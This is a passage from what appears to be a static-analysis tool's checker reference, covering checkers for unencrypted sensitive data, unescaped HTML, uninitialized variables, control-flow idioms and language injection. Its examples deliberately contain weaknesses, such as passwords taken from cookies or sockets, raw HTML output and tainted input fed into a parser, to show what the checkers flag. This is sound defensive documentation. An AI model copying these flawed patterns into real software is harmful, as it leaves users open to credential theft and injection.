The following example reads unencrypted data from a cookie and uses it as a password. If the HTTP connection is not encrypted with SSL, an attacker with access to the network could intercept the password when it is in transit. The password could also be extracted from the user's browser cookie store.

```
Imports System
Imports System.Web
Imports System.Net
Imports System.Security.Cryptography

Class TestUnencryptedSensitiveData
 Public Sub TestCookie()
 Dim cookie As HttpCookie = New HttpCookie("TestCookie")
 cookie.HttpOnly = true
 cookie.Secure = true
 Dim pwd As String = cookie.Values("password")
 Dim credential As NetworkCredential = New NetworkCredential("testName", pwd)
 End Sub
End Class
```

## 4.311.4. Options

This section describes one or more `UNENCRYPTED_SENSITIVE_DATA` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `UNENCRYPTED_SENSITIVE_DATA:encrypted_data_is_sensitive:<boolean>` - If this option is set to `true`, the analysis will infer that data that gets encrypted later is sensitive data. That is, if the checker detects the encryption of plaintext data that is read from, for example, the network, it infers from the encryption that the data was always sensitive. Defaults to

UNENCRYPTED\_SENSITIVE\_DATA:encrypted\_data\_is\_sensitive:true for all languages except for Swift.

- UNENCRYPTED\_SENSITIVE\_DATA:report\_from\_cookie:<boolean> - If this option is set to `true`, the checker reports a defect on code that reads unencrypted sensitive data from a cookie. Otherwise, it does not report this case. Defaults to UNENCRYPTED\_SENSITIVE\_DATA:report\_from\_cookie:true (do report) for all languages except Swift.
- UNENCRYPTED\_SENSITIVE\_DATA:report\_from\_database:<boolean> - If this option is set to `true`, the checker reports a defect on code that reads unencrypted sensitive data from a database. Otherwise, it does not report this case. Defaults to UNENCRYPTED\_SENSITIVE\_DATA:report\_from\_database:true (do report) for all languages.
- UNENCRYPTED\_SENSITIVE\_DATA:report\_from\_filesystem:<boolean> - If this option is set to `true`, the checker reports a defect on code that reads unencrypted sensitive data from the filesystem. Otherwise, it does not report this case. Defaults to UNENCRYPTED\_SENSITIVE\_DATA:report\_from\_filesystem:false (do not report) for all languages. This checker option is automatically set to `true` if the `--webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).
- UNENCRYPTED\_SENSITIVE\_DATA:report\_from\_network:<boolean> - If this option is set to `true`, the checker reports a defect on code that reads unencrypted sensitive data from the network. Otherwise, it does not report this case. Defaults to UNENCRYPTED\_SENSITIVE\_DATA:report\_from\_network:true (do report) for all languages except Swift.
- UNENCRYPTED\_SENSITIVE\_DATA:report\_from\_url\_connection:<boolean> - If this option is set to `true`, the checker reports a defect on code that reads unencrypted sensitive data from a URL connection. Otherwise, it does not report this case. Defaults to UNENCRYPTED\_SENSITIVE\_DATA:report\_from\_url\_connection:false (do not report) for all languages except Swift. This checker option is automatically set to `true` if the `--webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

## 4.311.5. Models and Annotations

### 4.311.5.1. C/C++

The following primitives are available for C/C++ analysis with UNENCRYPTED\_SENSITIVE\_DATA:

- `__coverity_unencrypted_passwd_sink__(void *)`
- `__coverity_unencrypted_crypto_sink__(void *)`
- `__coverity_unencrypted_token_sink__(void *)`

This example uses `__coverity_unencrypted_passwd_sink__(void *)` to model a function that uses data as a password:

```
void authenticate(char *data) {
 __coverity_unencrypted_passwd_sink__(data);
}
```

Given the model above, passing unencrypted data coming from a socket into the data parameter of this function results in an UNENCRYPTED\_SENSITIVE\_DATA cleartext\_transmission defect report, as shown in the following example.

```
void test(int socket) {
 char* data;
 recv(socket, data, 100, 0);
 authenticate(data);
 // UNENCRYPTED_SENSITIVE_DATA cleartext_transmission defect
}
```

### 4.311.5.2. Java

Java models and annotations (see Section 5.4, “Models and Annotations in Java”) can improve analysis with this checker by identifying new sources of external data (from the filesystem, network, and so on) and new methods that use sensitive data (called “sinks”). UNENCRYPTED\_SENSITIVE\_DATA infers that data that flows to one of these sinks (in other words, data used as a password or cryptographic key) is sensitive. You can think of an UNENCRYPTED\_SENSITIVE\_DATA defect as consisting of a dataflow path from a source to a sink without any intervening decryption that would suggest that the data was encrypted when it entered the application.

#### 4.311.5.2.1. Java Sources

Coverity models a number of unencrypted data sources by default. You can use Coverity source model primitives to model additional UNENCRYPTED\_SENSITIVE\_DATA sources. For descriptions of these primitives, see the Javadoc documentation provided with Coverity Analysis at `<install_dir> /doc/<en|ja>/primitives/index.html` . These primitives have the following signatures:

- Signature for modeling functions that return data from the filesystem:

```
<T> T filesystem_source();
```

- Signature for modeling functions with a parameter that is updated or implied to contain data from the filesystem:

```
<T> void filesystem_source(T <parameter>);
```

- Signature for modeling functions that return data from a database:

```
<T> T database_source();
```

- Signature for modeling functions with a parameter that is updated or implied to contain data from a database:

```
<T> void database_source(T <parameter>);
```

- Signature for modeling functions that return data from a cookie:

```
<T> T cookie_source();
```

- Signature for modeling functions with a parameter that is updated or implied to contain data from a cookie:

```
<T> void cookie_source(T <parameter>);
```

- Signature for modeling functions that return an unencrypted socket:

```
<T> T unencrypted_socket_source();
```

Any data read from such a socket will be considered to come from the network.

- Signature for modeling functions with a parameter that is updated or implied to be an unencrypted socket:

```
<T> void unencrypted_socket_source(T <parameter>);
```

Any data read from such a socket will be considered to come from the network.

- Signature for modeling functions that return an unencrypted URL connection:

```
<T> T unencrypted_url_connection();
```

Any data read from such a URL connection will be considered to come from the network.

- Signature for modeling functions with a parameter that is updated or implied to be an unencrypted URL connection:

```
<T> void unencrypted_url_connection(T <parameter>);
```

Any data read from such a URL connection will be considered to come from the network.

The following examples use `database_source` to model a function that returns data from a database or stores such data in a parameter:

```
Object returnsDataFromADatabase() {
 database_source();
 // ...
}

void storesDataFromADatabaseInParam(Object arg) {
 database_source(arg);
 // ...
}
```

#### 4.311.5.2.2. Java Sinks

Coverity models a number of unencrypted sensitive data sinks by default. You can use Coverity sink model primitives to model additional `UNENCRYPTED_SENSITIVE_DATA` sinks. For a description of these primitives, see the Javadoc documentation provided with Coverity Analysis at `<install_dir> / doc/<en|ja>/primitives/index.html`. These primitives have the following signatures:

- Signature for modeling a function that uses a parameter as a password:

```
void unencrypted_passwd_sink(Object <parameter>);
```

- Signature for modeling a function that uses a parameter as a cryptographic key:

```
void unencrypted_crypto_sink(Object <parameter>);
```

- Signature for modeling a function that uses a parameter as a security token:

```
void unencrypted_token_sink(Object <parameter>);
```

The following example uses `unencrypted_passwd_sink` to model a function that uses data as a password:

```
void authenticate(String userName, String password) {
 unencrypted_passwd_sink(password);
 // ...
}
```

Given the models above, passing unencrypted data coming from a database into the password parameter results in an `UNENCRYPTED_SENSITIVE_DATA` defect report of type Cleartext sensitive data in a database. For example, the `UNENCRYPTED_SENSITIVE_DATA` checker reports a defect in each of the following examples:

```
public void test1(String userName)
{
 String password = returnsDataFromADatabase();
 authenticate(userName, password);
}

public void test2(String userName) {
 byte[] passwordBuffer = new byte[256];
 storesDataFromADatabaseInParam(passwordBuffer);
 authenticate(userName, passwordBuffer);
}
```

#### 4.311.5.3. C# and Visual Basic

##### 4.311.5.3.1. C# and Visual Basic Sources

Coverity models a number of unencrypted data sources by default. You can use Coverity source model primitives to model additional `UNENCRYPTED_SENSITIVE_DATA` sources. For descriptions of these

primitives, see Section 5.2.1.3, “C# and Visual Basic Primitives”. These primitives have the following signatures:

- Signature for modeling functions that return data from the filesystem:

```
object FileSystemSource();
```

- Signature for modeling functions with a parameter that is updated or implied to contain data from the filesystem:

```
void FileSystemSource(object o);
```

- Signature for modeling functions that return data from a database:

```
object DatabaseSource();
```

- Signature for modeling functions with a parameter that is updated or implied to contain data from a database:

```
void DatabaseSource(object o);
```

- Signature for modeling functions that return data from a cookie:

```
object CookieSource();
```

- Signature for modeling functions with a parameter that is updated or implied to contain data from a cookie:

```
void CookieSource(object o);
```

- Signature for modeling functions that return an unencrypted socket:

```
object UnencryptedSocketSource();
```

Any data read from such a socket will be considered to come from the network.

- Signature for modeling functions with a parameter that is updated or implied to be an unencrypted socket:

```
void UnencryptedSocketSource(object o);
```

Any data read from such a socket will be considered to come from the network.

- Signature for modeling functions that return an unencrypted URL connection:

```
object UnencryptedUrlConnectionSource();
```

Any data read from such a URL connection will be considered to come from the network.

- Signature for modeling functions with a parameter that is updated or implied to be an unencrypted URL connection:

```
void UnencryptedUrlConnectionSource(object o);
```

Any data read from such a URL connection will be considered to come from the network.

#### 4.311.5.3.2. Sinks

Coverity models a number of unencrypted sensitive data sinks by default. You can use Coverity sink model primitives to model additional `UNENCRYPTED_SENSITIVE_DATA` sinks. For descriptions of these primitives, see Section 5.2.1.3, “C# and Visual Basic Primitives”. These primitives have the following signatures:

- Signature for modeling a function that uses a parameter as a password:

```
void UnencryptedPasswordSink(object o);
```

- Signature for modeling a function that uses a parameter as a cryptographic key:

```
void UnencryptedCryptographicKeySink(object o);
```

- Signature for modeling a function that uses a parameter as a security token:

```
void UnencryptedSecurityTokenSink(object o);
```

#### 4.311.5.4. Swift

Models are not supported for Swift.

#### 4.311.6. Events

This section describes one or more events produced by the `UNENCRYPTED_SENSITIVE_DATA` checker.

- `remediation` - Information about ways to address the potential security vulnerability.
- `sensitive_data_use` - Main event: A use of unencrypted sensitive data.

##### Dataflow events

- `argument` - An argument to a method uses unencrypted data.
- `assign` - Unencrypted data is assigned to a variable.
- `attr` - Unencrypted data is stored as a Web application attribute that has page, request, session, or application scope.
- `call` - A method call returns unencrypted data.

- `concat` - Unencrypted data is concatenated with other data.
- `field_def` - Unencrypted data passes through a field.
- `field_read` - A read of unencrypted data from a field occurs.
- `field_write` - A write of unencrypted data to a field occurs.
- `map_read` - A read of unencrypted data from a map occurs.
- `map_write` - A write of unencrypted data to a map occurs.
- `member_init` - Creating an instance of a class using unencrypted data initializes a member of that class with unencrypted data.
- `object_construction` - Creating an instance of a class using unencrypted data.
- `parm_in` - This method parameter receives unencrypted data.
- `parm_out` - This method parameter received unencrypted data.
- `returned` - A method call returns unencrypted data.
- `returning_value` - The current method returns unencrypted data.
- `subclass` - Creating an instance of a class to use as a super class.
- `unencrypted_data` - The method from which unencrypted data originates.
- `unencrypted_data_read` - A read of unencrypted data from an unencrypted stream occurs.
- `unencrypted_stream` - The method from which an unencrypted stream originates.

## 4.312. UNESCAPED\_HTML

Security Checker

### 4.312.1. Overview

**Supported Languages:** Ruby

`UNESCAPED_HTML` reports possible instances of cross-site scripting vulnerabilities. See the `XSS` checker for more details about cross-site scripting.

**Disabled by default:** `UNESCAPED_HTML` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

### 4.312.2. Defect Anatomy

`UNESCAPED_HTML` defects are reported for any values output in an HTML context without properly encoding HTML entities. This differs from the `XSS` checker which only reports tainted sources.

### 4.312.3. Examples

This section provides one or more `UNESCAPED_HTML` examples.

The following example demonstrates a query parameter output in an ERB template using the `raw` function, which disables HTML escaping.

```
<%= raw some_value %>
```

## 4.313. UNEXPECTED\_CONTROL\_FLOW

Security Checker

### 4.313.1. Overview

**Supported Languages:** C, C++, C#, Java, JavaScript, Objective-C, Objective-C++, PHP, Ruby, Swift, TypeScript, and Visual Basic

`UNEXPECTED_CONTROL_FLOW` reports uses of several idioms affecting flow through the program that are likely to have unexpected or mistaken meanings, other than cases of `UNREACHABLE` or `MISSING_BREAK`. A detailed description of each pattern detected is in the Options section below, under the option controlling the reporting of each pattern.

**Enabled by default:** `UNEXPECTED_CONTROL_FLOW` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.313.2. Options

This section describes one or more `UNEXPECTED_CONTROL_FLOW` options.

You can set specific checker option values by passing them with `--checker-option` to the `coverity-analyze` command. For details, refer to the *Coverity Command Reference*.

- `UNEXPECTED_CONTROL_FLOW:report_continue_in_do_while_false:<boolean>` - When this option is true, the checker reports a defect when 'continue' is used within a 'do-while' loop with a constant 'false' condition, or some equivalent based on language variation in the name of the 'do-while' loop, values allowed to represent 'false', and even the name of 'continue'. Such code likely does not behave as intended, because a 'continue' causes the loop condition to be immediately re-checked. Thus, with a constant 'false' loop condition, 'continue' has the same effect as 'break'. Defaults to `UNEXPECTED_CONTROL_FLOW:report_continue_in_do_while_false:true` (for C, C++, C#, Java, JavaScript, Objective-C, Objective-C++, PHP, Ruby, TypeScript, Visual Basic, and Swift).

Consider this example applicable to C, C++, C#, Visual Basic, Java, and with slight modification, JavaScript, PHP, and TypeScript:

```
bool forgiving = false; // Start less flexible.
do {
 if (!tryIt(forgiving) && !forgiving) {
 forgiving = true;
 continue; // [intend to] Try again, more flexibly.
```

```

 }
} while (false); // [The loop will never proceed past this point.]

```

The loop body is only entered once, even though it is clear the programmer expected 'continue' to repeat the loop body.

In Swift the pattern is 'repeat { ... continue ... } while false', while in Ruby the pattern is 'begin ... next ... end while false'. Note that Ruby's 'redo' built-in jumps back to the start of the loop body without checking the loop condition.

Consider this example applicable to Visual Basic:

```

Dim forgiving As Boolean = False ' Start less flexible.
 Do
 If Not tryIt(forgiving) AndAlso Not forgiving Then
 forgiving = True
 Continue Do ' [intend to] Try again, more flexibly.
 End If
 Loop While False ' [The loop will never proceed past this
point.]

```

- `UNEXPECTED_CONTROL_FLOW:report_ignored_exception_to_optional:<boolean>` - When this Swift-only option is true, the checker reports a defect when a 'try?' expression is used as a statement, discarding the result. The purpose of 'try?' in Swift is to translate the occurrence of an exception into a nil optional, indicating that evaluation of the expression did not complete normally. Discarding that optional value means that when an exception occurs, it is caught and quietly ignored. If ignoring exceptions was not intended, this can be a difficult problem to diagnose. Defaults to `UNEXPECTED_CONTROL_FLOW:report_ignored_exception_to_optional:true` (Swift-only option).

Because 'try?' with an ignored result is so close in syntax to 'try' or 'try!', with greatly different meaning, and it is so convenient yet subtle as a temporary measure to appease the compiler, the checker assumes by default that the intent of 'try?' with discarded result is at best unclear and is therefore defect-worthy.

```

try? thrower() // defect reported
try! thrower() // no defect
_ = try? thrower() // no defect; clear intent
do {
 try thrower() // no defect; clear intent
} catch {
 // ignore
}

```

- `UNEXPECTED_CONTROL_FLOW:report_useless_defer:<boolean>` - When this Swift-only option is true, the checker reports a defect when a 'defer' statement does not defer execution in an observable way. In other words, a defect of this pattern indicates that pulling statements out of the defer block and removing it would result in the same observable program behavior. Because such a 'defer' is "useless," it likely does not implement the intended program behavior. Defaults to `UNEXPECTED_CONTROL_FLOW:report_useless_defer:true` (Swift-only option).

**Example 1:**

```
if let mylog = log {
 mylog.enter();
 defer { mylog.leave(); } // defect reported
}
```

In this case, the intent is clearly to call "leave" on the log (if non-nil) at the end of the current function, but the deferred code is executed when the enclosing block scope is exited, which is the '{ }' associated with the 'if', NOT the top-level function scope. Thus, 'mylog.leave()' is not actually deferred. You cannot conditionally defer code, but you can defer conditional code. Thus, lifting the 'defer' outside the 'if' and checking the same condition again inside the 'defer' is an appropriate solution.

```
func compare(_ other : Widget) -> Int {
 log.enter();
 defer { log.leave(); } // defect reported

 // What was going to go here?
 return 0
}
```

In this case, the defer is well-intentioned, but the code after it is so trivial that the defer is useless in effect. There is clearly an unfulfilled intent to put more code into this function. Thus, in this case the uselessness of the 'defer' revealed a deficit in the code following the 'defer' rather than in the 'defer' itself.

## 4.314. UNINIT

Quality, Security Checker

### 4.314.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

UNINIT finds many instances of variables that are used without being initialized. Stack variables do not have set values unless initialized. Using uninitialized variables can result in unpredictable behavior, crashes, and security holes.

This checker looks for uninitialized stack variables and dynamically allocated heap memory. It tracks primitive type variables, structure fields, and array elements. Note that initialization tracking for a variable stops if the address of the variable is taken.

UNINIT begins tracking a variable when it is declared and follows it down all call chains checking for uninitialized uses. As with DEADCODE, you can use code-line annotations to suppress UNINIT events and eliminate false positives. (all languages).

**Enabled by default:** UNINIT is enabled by default. For enablement/disablement details and options, see Section 1.2, "Enabling and Disabling Checkers".

## 4.314.2. Examples

This section provides one or more UNINIT examples.

```
int uninit_example1(int c) {
 int x;
 if(c)
 return c;
 else
 return x; // defect: "x" is not initialized
}
```

```
int result;
int uninit_example2(int c) {
 int *x;
 if(c)
 x = &c;
 use (x); // defect: uninitialized variable "x" and "*x" used in call
}

void use (int *x) {
 result = *x+2;
}
```

```
int result;
int uninit_example3() {
 int x[4];
 result = x[1]; // defect: use of uninitialized value x[1]
}
```

```
int result;
struct A {
 int a;
 int *b;
};

int uninit_example4() {
 struct A *st_x;
 st_x = malloc (sizeof(struct A)); // Dynamically allocate struct
 partially_init(st_x);
 use (st_x); // defect: use of uninitialized variable st_x->b
}

void partially_init(struct A *st_x) {
 st_x->a = 0;
}

void use (struct A *st_x) {
 result = *st_x->b;
}
```

### 4.314.3. Options

This section describes one or more `UNINIT` options.

You can set specific checker option values by passing them with `--checker-option` to the `cov-analyze` command. For details, refer to the *Coverity Command Reference*.

- `UNINIT:assume_loop_always_taken:<boolean>` - When this option is set to `false`, `UNINIT` will analyze paths that never execute the body of loops in cases where it is not completely clear whether the loop is executed. Defaults to `UNINIT:assume_loop_always_taken:true` (all languages).

This checker option is automatically set to `false` if the `--aggressiveness-level` option of `cov-analyze` is set to `high`.

- `UNINIT:allow_unimpl:<boolean>` - When this option is set to `true`, `UNINIT` assumes that an unimplemented function does not do any initialization. Defaults to `UNINIT:allow_unimpl:false` (all languages).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the `cov-analyze` command is set to `high`.

- `UNINIT:check_arguments:<boolean>` - When this option is set to `true`, `UNINIT` reports a defect if the arguments to any function are uninitialized. Defaults to `UNINIT:check_arguments:false` (all languages).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the `cov-analyze` command is set to `medium` (or to `high`).

- `UNINIT:check_malloc_wrappers:<boolean>` - By default, `UNINIT` tracks dynamic memory allocated with calls to `malloc()` or `new()`. However, `UNINIT` does not track memory allocated by wrappers around `malloc()` or `new()`. `UNINIT` also does not track the memory of a variable whose address is passed to callees and where the callee then allocates memory to the address. With this option enabled, `UNINIT` tracks this memory and reports defects if it is used without initialization. A higher rate of false positives can occur because `UNINIT` cannot identify the memory that these wrappers or allocating functions have allocated and initialized. Defaults to `UNINIT:check_malloc_wrappers:false` (all languages).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the `cov-analyze` command is set to `high`.

- `UNINIT:check_mayreads:<boolean>` - When this option is set to `true`, `UNINIT` reports defects on fields of structs that might be read along a path in a called function. Defaults to `UNINIT:check_mayreads:false` (all languages).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the `cov-analyze` command is set to `medium` (or to `high`).

- `UNINIT:enable_deep_read_models:<boolean>` - When this option option is set to `true`, `UNINIT` does a deeper interprocedural analysis: It tracks variable uses at callee

depths greater than 1. This can increase the number of reported defects but can also result in more false positives because of inadequacies in tracking interprocedural contexts. Defaults to `UNINIT:enable_deep_read_models:false` (all languages).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

- `UNINIT:enable_parm_context_reads:<boolean>` - When this option is set to `true`, UNINIT reports defects on uninitialized fields of structs within callees that are conditioned on constraints on other parameter values. Defaults to `UNINIT:enable_parm_context_reads:false` (all languages).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

- `UNINIT:enable_write_context:<boolean>` - By default, UNINIT does not distinguish the interprocedural context under which a callee can initialize a parameter or parameter field. To avoid too many false positives, UNINIT does not report a defect if it finds an initialization of a parameter along at least one path in the callee. This option relaxes this restriction and tracks the context of interprocedural initializations. The checker reports more defects and possibly more false positives because of approximations in interprocedural context tracking. Defaults to `UNINIT:enable_write_context:false` (all languages).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

#### 4.314.4. Events

This section describes one or more events produced by the UNINIT checker.

- `var_decl` - A potentially uninitialized variable has just been declared. Suppress this event if you are positive that a particular variable is always initialized and the Coverity analysis is unable to detect this. Note that after suppressing this event you will never receive a defect from an uninitialized use of this variable.
- `uninit_use` - A use of an uninitialized variable. Suppress this event if this is not actually an uninitialized use.
- `uninit_use_in_call` - A use of an uninitialized variable in a callee. In cases where the callee source is found and analyzed, the details link in the code browser will go to the callee line where the variable is used. For unimplemented functions, the passed parameter's value is considered to be used in the function. Suppress this event if this is not actually an uninitialized use.

#### 4.314.5. Primitives

The following primitive works with this checker to imbue properties without involving the RESOURCE\_LEAK checker.

```
__coverity_mark_as_uninitialized_buffer__
```

The following example shows where to insert the primitive to mark a function that doesn't allocate memory.

```
char* uninit_source() {
 static char *p;
 __coverity_mark_as_uninitialized_buffer__(p);
 return p;
}
```

## 4.315. UNINIT\_CTOR

Quality Checker

### 4.315.1. Overview

**Supported Languages:** C++

`UNINIT_CTOR` finds instances of a non-static data member of a class or struct that is declared with the class or struct, not in a parent class, and not initialized in a path in the constructor.

The constructor of a class is generally required to adhere to the contract that it initialize all of the members of the class. This is a very common coding standard. Uninitialized data members are unsafe because calling member functions can access them either directly, if it is public, or through a member function. These defects can cause the usual problems with accessing uninitialized variables, such as corrupting arbitrary data within the address space of the program.

The checker tracks each uninitialized member interprocedurally, starting from the initialization list. The checker follows the member variable down all call chains from within the constructor, checking for initializations. This is repeated for all paths within the constructor. Because the callee does not pass interprocedural context to the caller, the `cov-make-library` command is ineffective in suppressing false positives from the `UNINIT_CTOR` analysis. As with `UNINIT`, the best way to suppress an `UNINIT_CTOR` false positive is to use a code-line annotation to suppress an event.

**Enabled by default:** `UNINIT_CTOR` is enabled by default. For enablement/disablement details and options, see Section 1.2, "Enabling and Disabling Checkers".

### 4.315.2. Examples

This section provides one or more `UNINIT_CTOR` examples.

The following example shows a constructor that does not initialize a data member.

```
class Uninit_Ctor_Example1 {
 Uninit_Ctor_Example1(int a) : m_a(a) {
 // Defect: m_p not initialized in constructor
 }

 int m_a;
 int *m_p;
};
```

The following example shows a constructor and its callee that do not initialize a data member.

```
class Uninit_Ctor_Example2 {
 Uninit_Ctor_Example2(int a) : m_a(a) {
 init();
 // Defect: m_c not initialized in constructor
 }

 void init() {
 m_b = 0;
 }

 int m_a, m_b, m_c;
};
```

The following example produces the `member_not_init_in_gen_ctor` event.

```
class HasCtor {
 int m;
public:
 HasCtor() : m(0) {}
};

class HasOnlyGenCtor : public HasCtor {
 int *p;
};

HasOnlyGenCtor hogc;
```

Here, the compiler will generate a ctor for `HasOnlyGenCtor` because it has a base class with a ctor, but not one of its own. So `p` will not be initialized by that compiler-generated ctor.

### 4.315.3. Options

This section describes one or more `UNINIT_CTOR` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `UNINIT_CTOR:allow_unimpl:<boolean>` - When this C++ option is true, the checker treats unimplemented functions as though they do not initialize anything. Defaults to false.

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `UNINIT_CTOR:assume_vararg_writes_to_pointer:<boolean>` - When this C++ option is true, the checker will not report a defect if the `this` pointer is passed to a variadic function (a function that can take different numbers of arguments) and that variadic function is called in a constructor. You might use this option if you are encountering false positives because a variadic function is performing initialization. Defaults to `UNINIT_CTOR:assume_vararg_writes_to_pointer:false`

- `UNINIT_CTOR:ctor_func:<function_name>` - This C++ option specifies a set of method names, as simple identifiers (no scope qualifiers, no parameter types), to treat as if they were constructors. If a class has at least one method with a name in this set, then the methods with such names are checked to make sure they initialize all members (regardless of the `ignore_empty_constructors` and `ignore_priv_prot_constructors` options), and the actual constructors are not checked. This option is useful when the code base contains some classes that have a dedicated `init` or similar method that plays the role of a constructor, and the actual constructor does nothing. Default is unset.
- `UNINIT_CTOR:ignore_array_members:<boolean>` - When this C++ option is true, the checker will not report defects in array fields that are not initialized in the constructor. Defaults to `UNINIT_CTOR:ignore_array_members:false`
- `UNINIT_CTOR:ignore_empty_constructors:<boolean>` - When this C++ option is true, the checker will not report defects in empty constructors. Defaults to `UNINIT_CTOR:ignore_empty_constructors:false`
- `UNINIT_CTOR:ignore_priv_prot_constructors:<boolean>` - When this C++ option is true, the checker will not report defects in private and protected constructors. Defaults to `UNINIT_CTOR:ignore_priv_prot_constructors:false`
- `UNINIT_CTOR:report_compiler_bugs:<boolean>` - When this C++ option is true, the checker will report when a member should be value-initialized according to the C++ language rules, but some compilers will leave it uninitialized due to bugs on those compilers. When the option is false, the checker will not report them. When it is unset, the checker will report such members if the native compiler appears to be a version that has the bug, as determined when the compiler was configured by **cov-configure** or **cov-build**. Default is unset.

Example:

```
struct NotPOD {
 NotPOD() : member(4) { }
 int member;
};
struct Base {
 int i;
 char c;
 NotPOD notpod;
};
struct Derived : Base {
 Derived() : Base() { } // 'i' and 'c' are uninitialized!
};
```

Such bugs are reported automatically if GCC or Visual C++ compilers are used with **cov-build**. To unconditionally enable reporting (for example, for other compilers), use `report_compiler_bugs:true`. To unconditionally disable reporting (for example, if GCC is used and these bugs are not of interest), use `report_compiler_bugs:false`.

- `UNINIT_CTOR:report_on_default_constructor_without_private_members:<boolean>` - When true, this option causes the checker to report defects when a

compiler-generated default constructor fails to initialize some members, even when no member of the class or struct is private. Defaults to

```
UNINIT_CTOR:report_on_default_constructor_without_private_members:false ; this option is activated when aggression level is high.
```

- `UNINIT_CTOR:report_scalar_arrays:<boolean>` - When true, this C++ option turns on tracking of scalar 1-dimensional (1-D) arrays. Aggressiveness levels of medium and above also turn on tracking of these arrays. Note that 2-D arrays are never tracked. Defaults to `UNINIT_CTOR:report_scalar_arrays:false`

The preceding options are specific to this checker; they do not affect global analysis options or other checkers.

To enable these options, use the following analysis option:

```
--checker-option UNINIT_CTOR:<option>
```

#### 4.315.4. Events

This section describes one or more events produced by the `UNINIT_CTOR` checker.

- `member_not_init_in_gen_ctor` - The compiler will generate a constructor for this class, but that generated constructor will not initialize these "plain old data" (POD) fields. See an example that produces this event in Section 4.315.2, "Examples".
- `uninit_member` - A class member or member field is uninitialized along this path in the constructor. The event occurs at the end of the path in the constructor. If a particular variable is always initialized before use (perhaps, outside the constructor), suppress this event to indicate that the declaration site is not a declaration of a potentially uninitialized member. Suppressing this event is the most severe suppression method. You will never receive an error if this member is uninitialized in any constructor for the class.
- `member_decl` - A class member has been uninitialized along a path in the constructor. If the particular path in question does contain an initialization, or the lack of initialization reliably deemed to be benign (perhaps, due to correctly initializing it before being used outside the constructor), the appropriate fix is to suppress this event.

### 4.316. UNINTENDED\_GLOBAL

Quality Checker

#### 4.316.1. Overview

**Supported Languages:** JavaScript, TypeScript

`UNINTENDED_GLOBAL` finds assignments to implicitly created global variables where an explicitly declared local variable was likely intended.

**Enabled by default:** `UNINTENDED_GLOBAL` is enabled by default. For enablement/disablement details and options, see Section 1.2, "Enabling and Disabling Checkers".

## 4.316.2. Examples

This section provides one or more `UNINTENDED_GLOBAL` examples.

The following example assigns "something" to local variable `x` and to global variable `y`. It is likely that the intent was to declare two local variables: `x` and `y`.

```
function assignVars() {
 var x = y = "something"; //Defect
}
```

## 4.316.3. Events

This section describes one or more events produced by the `UNINTENDED_GLOBAL` checker.

- `assign_to_global` - Since `<var>` is not otherwise declared in this function, this assignment implicitly creates a global variable.

## 4.317. UNINTENDED\_INTEGER\_DIVISION

Quality Checker

### 4.317.1. Overview

**Supported Languages:** C, C++, C#, Go, Java, Objective-C, Objective-C++, and Scala

`UNINTENDED_INTEGER_DIVISION` detects code with an unexpected loss of arithmetic precision due to the use of integer division where floating-point division is probably intended. According to the language rules, dividing two values of integer types (`long`, `unsigned`, and so on) computes the quotient as an integer (integer division), in effect, rounding toward zero or ignoring any remainder. Integer division is suspicious when it occurs in a context that expects a floating-point value because the programmer might have expected to represent non-integer quotients. The checker reports a defect when it finds this pattern along with at least one other indication that a fractional quotient was probably intended.

**Enabled by default:** `UNINTENDED_INTEGER_DIVISION` is enabled by default. For enablement/disablement details and options, see Section 1.2, "Enabling and Disabling Checkers".

### 4.317.2. Examples

This section provides one or more `UNINTENDED_INTEGER_DIVISION` examples.

#### 4.317.2.1. C, C++, C#, Java, Objective-C, and Objective-C++

```
// Sets PI_APPROX to 3.0!
double PI_APPROX = 22 / 7; // Defect here.
```

```
// Rounds toward zero (and adds 1 to negative results)!
int roundedAverage(int a, int b) {
```

```
 return (int)(0.5 + ((a + b) / 2)); // Defect here.
}
```

#### 4.317.2.2. Go

In the following example, the assignment statement results in an `UNINTENDED_INTEGER_DIVISION` defect.

```
func foo() float32 {
 var f float32 = 23 / 5
 return f
}
```

#### 4.317.2.3. Scala

```
var f : Float = 22 / 7
```

### 4.317.3. Events

This section describes one or more events produced by the `UNINTENDED_INTEGER_DIVISION` checker.

- `integer_division` - [C, C++, C#, Go, Java, Objective-C, Objective-C++, and Scala] Main event: Identifies the location of the integer division operation.
- `remediation` - [C, C++, C#, Go, Java, Objective-C, Objective-C++, and Scala] Provides guidance on fixing the issue.

## 4.318. UNKNOWN\_LANGUAGE\_INJECTION

Security Checker

### 4.318.1. Overview

**Supported Languages:** Java, C#

`UNKNOWN_LANGUAGE_INJECTION` finds unknown language injection vulnerabilities, which arise when uncontrolled dynamic data is passed into an API that creates grammars for languages through parsing or tokenization. An example is the ANTLR API. When injected data is inserted into the grammar construction itself, the data might change the intent of the grammar, potentially resulting in unauthorized access to, or disclosure of, information.

**Disabled by default:** `UNKNOWN_LANGUAGE_INJECTION` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable `UNKNOWN_LANGUAGE_INJECTION` along with other Web application checkers, use the `--webapp-security` option.

### 4.318.2. Examples

This section provides one or more `UNKNOWN_LANGUAGE_INJECTION` examples.

#### 4.318.2.1. C#

```
using System.Web;
using Antlr4.Runtime;

public class UnknownLanguageInjection {

 void example(HttpRequest req)
 {
 string tainted_data = req["SomeParameter"];

 var antlr_is = new AntlrInputStream(tainted_data); // Defect here

 // Lex and parse input stream
 SearchLexer lexer = new SearchLexer(antlr_is);
 CommonTokenStream commonTokenStream = new CommonTokenStream(lexer);
